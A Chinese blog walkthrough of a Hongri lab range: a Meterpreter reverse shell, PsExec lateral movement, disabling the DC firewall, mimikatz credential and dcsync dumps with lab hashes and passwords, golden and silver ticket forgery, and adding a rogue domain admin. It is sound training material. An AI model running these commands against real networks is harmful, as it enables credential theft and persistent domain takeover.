【内网攻防实战】红日靶场(一)续篇_金票与银票

作者 : admin 本文共15174个字,预计阅读时间需要38分钟 发布时间: 2024-06-10 共2人阅读

红日靶场(一)续篇_权限维持

    • 前情提要
      • 当前位置
      • 执行目标
    • PsExec.exe拿下域控2008
      • rdesktop 远程登录win7
      • msf上传文件
        • kail回连马连上win7
        • upload上传PsExec.exe
      • PsExec.exe把win7 带到 2008(域控hostname:owa)
      • 2008开远程、关防火墙
      • Win7使用远程桌面登录2008
    • 将猕猴桃上传到Win7、2008
    • 黄金票据(方法一)
      • 信息搜集【域控DC执行】
      • 伪造票据【域内其他主机】
      • 清空缓存票据【域内其他主机】
      • 导入并查看票据【域内其他主机】
      • 添加用户(域内.管理员权限)与查看【域内其他主机】
      • 测试: 新用户使用PsExex控制域控
    • 白银票据(方法二)
      • 1. 本机管理员的权限(执行前)
      • 2. DC 域控信息收集
      • 3. 伪造白银票据(执行后)
    • 黄金票据(方法二)
      • 1. 信息收集(域内管理员权限)
        • 上传猕猴桃
        • 获取krbtgt的哈希
        • 获取SID
      • 2. 伪造票据
      • 3. 利用黄金票据
    • 4. 测试:使用PsExex控制域控
    • 参考
    • 挖个坑

前情提要

本实验是红日靶场(一)的后续,靶场环境搭建,外网渗透进内网的部分这里将不再赘述。
【内网攻防实战】红日靶场01 👉 http://blog.csdn.net/weixin_46022776/article/details/139295589

当前位置

【内网攻防实战】红日靶场(一)续篇_金票与银票插图
【内网攻防实战】红日靶场(一)续篇_金票与银票插图(1)

执行目标

现在的情况是:

  1. 我们已经用攻击机Kail拿下处于边界的Win7
  2. 也拿到GOD\Administrator 的shell
  3. 使用msf提权到系统,kiwi抓取kbs,知道了密码为2024@hongri

目标:我需要拿下域控,并进行权限维持

PsExec.exe拿下域控2008

rdesktop 远程登录win7

┌──(root㉿kali)-[~]
└─# rdesktop 192.168.72.131
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(2)

msf上传文件

kail回连马连上win7

msf调用模块multi/handler开启监听,rdesktop里的win7进入到C盘下,点击之前上传的64.exe回连马。

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:5555 
[*] Sending stage (200774 bytes) to 192.168.72.131
[*] Meterpreter session 4 opened (192.168.72.200:5555 -> 192.168.72.131:18363) at 2024-06-08 16:26:03 +0800

upload上传PsExec.exe

msf开启监听连上win7后,upload 上传 PsExec.exe,我这里 的PsExec.exe是放在/root目录下的

meterpreter > lcd /root
meterpreter > upload PsExec.exe
[*] Uploading  : /root/PsExec.exe -> PsExec.exe
[*] Uploaded 815.37 KiB of 815.37 KiB (100.0%): /root/PsExec.exe -> PsExec.exe
[*] Completed  : /root/PsExec.exe -> PsExec.exe
meterpreter > 

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(3)

PsExec.exe把win7 带到 2008(域控hostname:owa)

cmd: PsExec.exe \god.org cmd

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(4)

这里能看到主机名发生了变化,stu1变成了owa
【内网攻防实战】红日靶场(一)续篇_金票与银票插图(5)

2008开远程、关防火墙

其实现在我们就相当于拿到了2008的shell了,让server 2008开启远程并关掉防火墙,这样后面win7就能用远程桌面登录进2008

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
netsh firewall set opmode disable

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(6)

Win7使用远程桌面登录2008

Win内开启远程桌面,输入密码2024@hongri
【内网攻防实战】红日靶场(一)续篇_金票与银票插图(7)

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(8)

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(9)
Win7 成功登进2008,域控DC拿下,接下来是权限维持。


将猕猴桃上传到Win7、2008

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:5555 
(略。。。)

meterpreter > lcd /root/Desktop
meterpreter > upload x64.zip
[*] Uploading  : /root/Desktop/x64.zip -> x64.zip
[*] Uploaded 628.89 KiB of 628.89 KiB (100.0%): /root/Desktop/x64.zip -> x64.zip
[*] Completed  : /root/Desktop/x64.zip -> x64.zip
meterpreter > shell
Process 4496 created.
Channel 2 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\>chcp 65001
chcp 65001
Active code page: 65001

C:\>copy x64.zip \\192.168.52.138\c$
copy x64.zip \\192.168.52.138\c$
        1 file(s) copied.

C:\>

kail上传upload猕猴桃x64.zip到Win7,Win 7 再复制copy一份到2008的C目录下
【内网攻防实战】红日靶场(一)续篇_金票与银票插图(10)
解压,进入x64目录下,2008和Win7 都启动猕猴桃

黄金票据(方法一)

在制作黄金票据时,需要以下条件:

  1. 域内管理员的权限(首先是拥有域内权限,且这个身份还必须是域的管理员)
  2. 拿到域控DC的shell(可以不在域控的机子上执行,但cmd的hostname必须是域控的主机名owa)

信息搜集【域控DC执行】

mimikatz.exe
privilege::debug
lsadump::dcsync /domain:god.org /all /csv
exit
whoami /all

可以在远程登录的界面执行
【内网攻防实战】红日靶场(一)续篇_金票与银票插图(11)

也可以在Win7之前被PsExex.exe带入域控的god.org:cmd上执行,效果是一样的
【内网攻防实战】红日靶场(一)续篇_金票与银票插图(12)
这两个执行方法的shell的hostname都是owa,这就是前面说的,一必须拿到域内管理员的权限,二必须拿到域控DC的shell,你可以远程登录域控的机子执行cmd,也可以使用PsExec.exe把shell从stu1带到owa(DC主机)。

伪造票据【域内其他主机】

【注意】上面sid的-500不要写进去

mimikatz.exe
Kerberos::golden /user:administrator /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:558ae7f88589153355cbeb046ac696df /ticket:golden.kiribi

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(13)

清空缓存票据【域内其他主机】

kerberos::purge

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(14)

导入并查看票据【域内其他主机】

kerberos::ptt golden.kiribi
kerberos::tgt

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(15)

添加用户(域内.管理员权限)与查看【域内其他主机】

net user testkbs Kerberos@2024 /add /domain
net group "domain admins" testkbs /add /domain

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(16)

计算机 – 右键 – 管理 – 角色 – AD域服务 – AD用户和计算机 – god.org – User

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(17)

测试: 新用户使用PsExex控制域控

kail开启一个新的终端,远程连接win7,这里使用新用户GOD estkbs登录

┌──(root㉿kali)-[~]
└─# rdesktop 192.168.72.131

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(18)

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(19)


白银票据(方法二)

1. 本机管理员的权限(执行前)

net user /domain
dir \owa\C$
PsExec.exe \god.org cmd

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(20)

2. DC 域控信息收集

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt

打开log.txt


  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 7822526 (00000000:00775cbe)
Session           : RemoteInteractive from 2
User Name         : Administrator
Domain            : GOD
Logon Server      : OWA
Logon Time        : 2024/6/8 16:57:17
SID               : S-1-5-21-2952760202-1353902439-2381784089-500
	msv :	
	 [00000003] Primary
	 * Username : Administrator
	 * Domain   : GOD
	 * LM       : eb9afcbd6f6c4cacffae40634accf0e8
	 * NTLM     : db4371323f83b0ad7f16ea72eb1fcd73
	 * SHA1     : c57e17a5823e543faae1d3ff66d171290ae69dfe
	tspkg :	
	 * Username : Administrator
	 * Domain   : GOD
	 * Password : 2024@hongri
	wdigest :	
	 * Username : Administrator
	 * Domain   : GOD
	 * Password : 2024@hongri
	kerberos :	
	 * Username : Administrator
	 * Domain   : GOD.ORG
	 * Password : 2024@hongri
	ssp :	
	credman :	

Authentication Id : 0 ; 3730688 (00000000:0038ed00)
Session           : Interactive from 1
User Name         : liukaifeng01
Domain            : GOD
Logon Server      : OWA
Logon Time        : 2024/6/1 8:30:40
SID               : S-1-5-21-2952760202-1353902439-2381784089-1000
	msv :	
	 [00000003] Primary
	 * Username : liukaifeng01
	 * Domain   : GOD
	 * LM       : 504f1ff24983db0037bf477e3ed39fca
	 * NTLM     : 4a549006cbb3489f8ed040e2771a5a14
	 * SHA1     : 152e317193b61cfb90ff32297297d9801c6d6874
	tspkg :	
	 * Username : liukaifeng01
	 * Domain   : GOD
	 * Password : hongri@2024
	wdigest :	
	 * Username : liukaifeng01
	 * Domain   : GOD
	 * Password : hongri@2024
	kerberos :	
	 * Username : liukaifeng01
	 * Domain   : GOD.ORG
	 * Password : hongri@2024
	ssp :	
	credman :	

Authentication Id : 0 ; 3730652 (00000000:0038ecdc)
Session           : Interactive from 1
User Name         : liukaifeng01
Domain            : GOD
Logon Server      : OWA
Logon Time        : 2024/6/1 8:30:40
SID               : S-1-5-21-2952760202-1353902439-2381784089-1000
	msv :	
	 [00000003] Primary
	 * Username : liukaifeng01
	 * Domain   : GOD
	 * LM       : 504f1ff24983db0037bf477e3ed39fca
	 * NTLM     : 4a549006cbb3489f8ed040e2771a5a14
	 * SHA1     : 152e317193b61cfb90ff32297297d9801c6d6874
	tspkg :	
	 * Username : liukaifeng01
	 * Domain   : GOD
	 * Password : hongri@2024
	wdigest :	
	 * Username : liukaifeng01
	 * Domain   : GOD
	 * Password : hongri@2024
	kerberos :	
	 * Username : liukaifeng01
	 * Domain   : GOD.ORG
	 * Password : hongri@2024
	ssp :	
	credman :	

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : OWA$
Domain            : GOD
Logon Server      : (null)
Logon Time        : 2024/5/31 10:38:10
SID               : S-1-5-20
	msv :	
	 [00000003] Primary
	 * Username : OWA$
	 * Domain   : GOD
	 * NTLM     : 19e4410dee5e1007bd435430491222b9
	 * SHA1     : e48aed977c31b645c94d4238c44e937bae77f408
	tspkg :	
	wdigest :	
	 * Username : OWA$
	 * Domain   : GOD
	 * Password : 06 0e 11 5d d4 08 7c 00 98 1f a9 9c d9 ae fe 65 f1 ff ab e5 bf 20 bd 38 87 3f 30 a0 dc 9d ef 82 eb e3 af 67 64 ab a8 74 69 23 40 5e 2a 02 60 b4 c6 9f 92 71 f7 fe 2c e0 eb f4 6c 69 ea bd ca 13 c4 90 07 96 52 6d 58 0a 6e 6c bc ce f7 54 e4 a2 a5 97 14 14 75 c8 05 70 db d9 6d ea 53 0b c9 c0 27 cf ce 4e d9 4f 37 20 2a 42 7c 2f 63 23 42 ea a5 61 43 24 87 fa 90 9c 59 95 69 6b 94 1d c3 ac bb ca dc a9 f2 82 e4 0b 4b 05 77 e8 ca 47 2c cc ea 00 42 e5 3f 2f 0a 51 03 72 f9 50 cf 29 5f cd 7d 38 de 07 e7 7c 91 8f 42 e7 d9 3f b7 bf b0 24 0f 91 69 46 32 55 49 48 a7 9c 86 57 17 29 0d 7f c4 c8 f1 7b f6 4f 10 84 4f cc 2e 5d 05 30 d0 d8 ba 30 40 31 a4 73 f6 6b ae d9 01 c3 05 58 f7 ff 78 90 0f 95 95 85 21 d5 df ed c3 4d 5a fd 21 0b 
	kerberos :	
	 * Username : owa$
	 * Domain   : GOD.ORG
	 * Password : 06 0e 11 5d d4 08 7c 00 98 1f a9 9c d9 ae fe 65 f1 ff ab e5 bf 20 bd 38 87 3f 30 a0 dc 9d ef 82 eb e3 af 67 64 ab a8 74 69 23 40 5e 2a 02 60 b4 c6 9f 92 71 f7 fe 2c e0 eb f4 6c 69 ea bd ca 13 c4 90 07 96 52 6d 58 0a 6e 6c bc ce f7 54 e4 a2 a5 97 14 14 75 c8 05 70 db d9 6d ea 53 0b c9 c0 27 cf ce 4e d9 4f 37 20 2a 42 7c 2f 63 23 42 ea a5 61 43 24 87 fa 90 9c 59 95 69 6b 94 1d c3 ac bb ca dc a9 f2 82 e4 0b 4b 05 77 e8 ca 47 2c cc ea 00 42 e5 3f 2f 0a 51 03 72 f9 50 cf 29 5f cd 7d 38 de 07 e7 7c 91 8f 42 e7 d9 3f b7 bf b0 24 0f 91 69 46 32 55 49 48 a7 9c 86 57 17 29 0d 7f c4 c8 f1 7b f6 4f 10 84 4f cc 2e 5d 05 30 d0 d8 ba 30 40 31 a4 73 f6 6b ae d9 01 c3 05 58 f7 ff 78 90 0f 95 95 85 21 d5 df ed c3 4d 5a fd 21 0b 
	ssp :	
	credman :	

Authentication Id : 0 ; 995 (00000000:000003e3)
Session           : Service from 0
User Name         : IUSR
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2024/5/31 10:38:45
SID               : S-1-5-17
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2024/5/31 10:38:10
SID               : S-1-5-19
	msv :	
	tspkg :	
	wdigest :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	kerberos :	
	 * Username : (null)
	 * Domain   : (null)
	 * Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 45603 (00000000:0000b223)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2024/5/31 10:38:09
SID               : 
	msv :	
	 [00000003] Primary
	 * Username : OWA$
	 * Domain   : GOD
	 * NTLM     : 19e4410dee5e1007bd435430491222b9
	 * SHA1     : e48aed977c31b645c94d4238c44e937bae77f408
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : OWA$
Domain            : GOD
Logon Server      : (null)
Logon Time        : 2024/5/31 10:38:09
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	 * Username : OWA$
	 * Domain   : GOD
	 * Password : 06 0e 11 5d d4 08 7c 00 98 1f a9 9c d9 ae fe 65 f1 ff ab e5 bf 20 bd 38 87 3f 30 a0 dc 9d ef 82 eb e3 af 67 64 ab a8 74 69 23 40 5e 2a 02 60 b4 c6 9f 92 71 f7 fe 2c e0 eb f4 6c 69 ea bd ca 13 c4 90 07 96 52 6d 58 0a 6e 6c bc ce f7 54 e4 a2 a5 97 14 14 75 c8 05 70 db d9 6d ea 53 0b c9 c0 27 cf ce 4e d9 4f 37 20 2a 42 7c 2f 63 23 42 ea a5 61 43 24 87 fa 90 9c 59 95 69 6b 94 1d c3 ac bb ca dc a9 f2 82 e4 0b 4b 05 77 e8 ca 47 2c cc ea 00 42 e5 3f 2f 0a 51 03 72 f9 50 cf 29 5f cd 7d 38 de 07 e7 7c 91 8f 42 e7 d9 3f b7 bf b0 24 0f 91 69 46 32 55 49 48 a7 9c 86 57 17 29 0d 7f c4 c8 f1 7b f6 4f 10 84 4f cc 2e 5d 05 30 d0 d8 ba 30 40 31 a4 73 f6 6b ae d9 01 c3 05 58 f7 ff 78 90 0f 95 95 85 21 d5 df ed c3 4d 5a fd 21 0b 
	kerberos :	
	 * Username : owa$
	 * Domain   : GOD.ORG
	 * Password : 06 0e 11 5d d4 08 7c 00 98 1f a9 9c d9 ae fe 65 f1 ff ab e5 bf 20 bd 38 87 3f 30 a0 dc 9d ef 82 eb e3 af 67 64 ab a8 74 69 23 40 5e 2a 02 60 b4 c6 9f 92 71 f7 fe 2c e0 eb f4 6c 69 ea bd ca 13 c4 90 07 96 52 6d 58 0a 6e 6c bc ce f7 54 e4 a2 a5 97 14 14 75 c8 05 70 db d9 6d ea 53 0b c9 c0 27 cf ce 4e d9 4f 37 20 2a 42 7c 2f 63 23 42 ea a5 61 43 24 87 fa 90 9c 59 95 69 6b 94 1d c3 ac bb ca dc a9 f2 82 e4 0b 4b 05 77 e8 ca 47 2c cc ea 00 42 e5 3f 2f 0a 51 03 72 f9 50 cf 29 5f cd 7d 38 de 07 e7 7c 91 8f 42 e7 d9 3f b7 bf b0 24 0f 91 69 46 32 55 49 48 a7 9c 86 57 17 29 0d 7f c4 c8 f1 7b f6 4f 10 84 4f cc 2e 5d 05 30 d0 d8 ba 30 40 31 a4 73 f6 6b ae d9 01 c3 05 58 f7 ff 78 90 0f 95 95 85 21 d5 df ed c3 4d 5a fd 21 0b 
	ssp :	
	credman :	

mimikatz(commandline) # exit
Bye!

3. 伪造白银票据(执行后)

rc4 一定要找跟域控主机名对应的hash
举个例子:域控主机名OWA

  1. 先找域控主机名=> * Username : OWA$
  2. 再找hash => * NTLM : 19e4410dee5e1007bd435430491222b9

所以,rc4:19e4410dee5e1007bd435430491222b9

target:域控主机名.域名

  1. 域控主机名 => owa
  2. 域名 => god.org

所以,target:owa.god.org

## 清空之前的票据
klist purge 
## 开启猕猴桃
mimikatz.exe
## 白银票据:伪造共享文件夹服务(cifs)权限
kerberos::golden /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /target:owa.god.org /service:cifs /rc4:19e4410dee5e1007bd435430491222b9 /user:hack01 /ptt
## 退出
exit
## 查看权限
dir \owa\C$

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(21)

黄金票据(方法二)

1. 信息收集(域内管理员权限)

上传猕猴桃
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:5555 
[*] Sending stage (200774 bytes) to 192.168.72.131
[*] Meterpreter session 4 opened (192.168.72.200:5555 -> 192.168.72.131:18389) at 2024-06-09 22:50:41 +0800

meterpreter > lcd /root/Desktop
meterpreter > upload x64.zip
[*] Uploading  : /root/Desktop/x64.zip -> x64.zip
[*] Uploaded 628.89 KiB of 628.89 KiB (100.0%): /root/Desktop/x64.zip -> x64.zip
[*] Completed  : /root/Desktop/x64.zip -> x64.zip

获取krbtgt的哈希
meterpreter > shell
Process 3496 created.
Channel 2 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

C:\>chcp 65001
chcp 65001
Active code page: 65001

C:\>cd C:\x64
cd C:\x64

C:\x64>whoami
whoami
god\administrator

C:\x64>mimikatz.exe    
mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::dcsync /domain:god.org /all /csv
[DC] 'god.org' will be the domain
[DC] 'owa.god.org' will be the DC server
[DC] Exporting domain 'god.org'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502     krbtgt  58e91a5ac358d86513ab224312314061        514
1106    ligang  1e3d22f88dfd250c9312d21686c60f41        512
1107    DEV1$   bed18e5b9d13bb384a3041a10d43c01b        4128
1104    ROOT-TVI862UBEH$        d67367ecf4bb9c01d2043539d11c75dd        4096
1000    liukaifeng01    4a549006cbb3489f8ed040e2771a5a14        544
500     Administrator   db4371323f83b0ad7f16ea72eb1fcd73        512
1001    OWA$    19e4410dee5e1007bd435430491222b9        532480
1105    STU1$   889a6931bb99725d146c68fa1b90dd44        4128

mimikatz # exit
Bye!

也可以一句话搞定,然后hack01打开tgtlog.txt查看

C:d>mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:god.org /all /csv" "exit">tgtlog.txt     
获取SID
C:\x64>whoami /all
whoami /all
USER INFORMATION
----------------
User Name         SID                                          
================= =============================================
god\administrator S-1-5-21-2952760202-1353902439-2381784089-500
GROUP INFORMATION
-----------------
Group Name                                 Type             SID                                           Attributes                                                     
========================================== ================ ============================================= ===============================================================
Everyone                                   Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group             
BUILTIN\Users                              Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group             
BUILTIN\Administrators                     Alias            S-1-5-32-544                                  Mandatory group, Enabled by default, Enabled group, Group owner
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4                                       Mandatory group, Enabled by default, Enabled group             
控制台登录                                 Well-known group S-1-2-1                                       Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group             
LOCAL                                      Well-known group S-1-2-0                                       Mandatory group, Enabled by default, Enabled group             
GOD\Domain Admins                          Group            S-1-5-21-2952760202-1353902439-2381784089-512 Mandatory group, Enabled by default, Enabled group             
GOD\Group Policy Creator Owners            Group            S-1-5-21-2952760202-1353902439-2381784089-520 Mandatory group, Enabled by default, Enabled group             
GOD\Enterprise Admins                      Group            S-1-5-21-2952760202-1353902439-2381784089-519 Mandatory group, Enabled by default, Enabled group             
GOD\Schema Admins                          Group            S-1-5-21-2952760202-1353902439-2381784089-518 Mandatory group, Enabled by default, Enabled group             
GOD\Denied RODC Password Replication Group Alias            S-1-5-21-2952760202-1353902439-2381784089-572 Mandatory group, Enabled by default, Enabled group             
Mandatory Label\High Mandatory Level       Label            S-1-16-12288                                  Mandatory group, Enabled by default, Enabled group, Local Group
PRIVILEGES INFORMATION
----------------------
Privilege Name                  Description                               State   
=============================== ========================================= ========
SeIncreaseQuotaPrivilege        Adjust memory quotas for a process        Disabled
SeSecurityPrivilege             Manage auditing and security log          Disabled
SeTakeOwnershipPrivilege        Take ownership of files or other objects  Disabled
SeLoadDriverPrivilege           Load and unload device drivers            Disabled
SeSystemProfilePrivilege        Profile system performance                Disabled
SeSystemtimePrivilege           Change the system time                    Disabled
SeProfileSingleProcessPrivilege Profile single process                    Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority              Disabled
SeCreatePagefilePrivilege       Create a pagefile                         Disabled
SeBackupPrivilege               Back up files and directories             Disabled
SeRestorePrivilege              Restore files and directories             Disabled
SeShutdownPrivilege             Shut down the system                      Disabled
SeDebugPrivilege                Debug programs                            Disabled
SeSystemEnvironmentPrivilege    Modify firmware environment values        Disabled
SeChangeNotifyPrivilege         Bypass traverse checking                  Enabled 
SeRemoteShutdownPrivilege       Force shutdown from a remote system       Disabled
SeUndockPrivilege               Remove computer from docking station      Disabled
SeManageVolumePrivilege         Perform volume maintenance tasks          Disabled
SeImpersonatePrivilege          Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege         Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege   Increase a process working set            Disabled
SeTimeZonePrivilege             Change the time zone                      Disabled
SeCreateSymbolicLinkPrivilege   Create symbolic links                     Disabled
C:\x64>exit
exit
meterpreter > getuid
Server username: GOD\Administrator
meterpreter > 

2. 伪造票据

Kerberos::golden /user:hack01 /domain:god.org /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ticket:golden.kiribi

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(22)

3. 利用黄金票据

清空缓存票据

## 清空缓存票据
kerberos::purge
## 导入票据
kerberos::ptt golden.kiribi
## 查看票据
kerberos::tgt

【内网攻防实战】红日靶场(一)续篇_金票与银票插图(23)

4. 测试:使用PsExex控制域控

测试前:无法远程连接到域控
【内网攻防实战】红日靶场(一)续篇_金票与银票插图(24)

参考

域渗透之黄金票据与白银票据
http://www.freebuf.com/articles/others-articles/329728.html

挖个坑

2008目录下有redis,可能也能尝试通过redis的一些漏洞拿到shell,最近期末,作业好多后续有空再研究研究。

本站无任何商业行为
个人在线分享 » 【内网攻防实战】红日靶场(一)续篇_金票与银票
E-->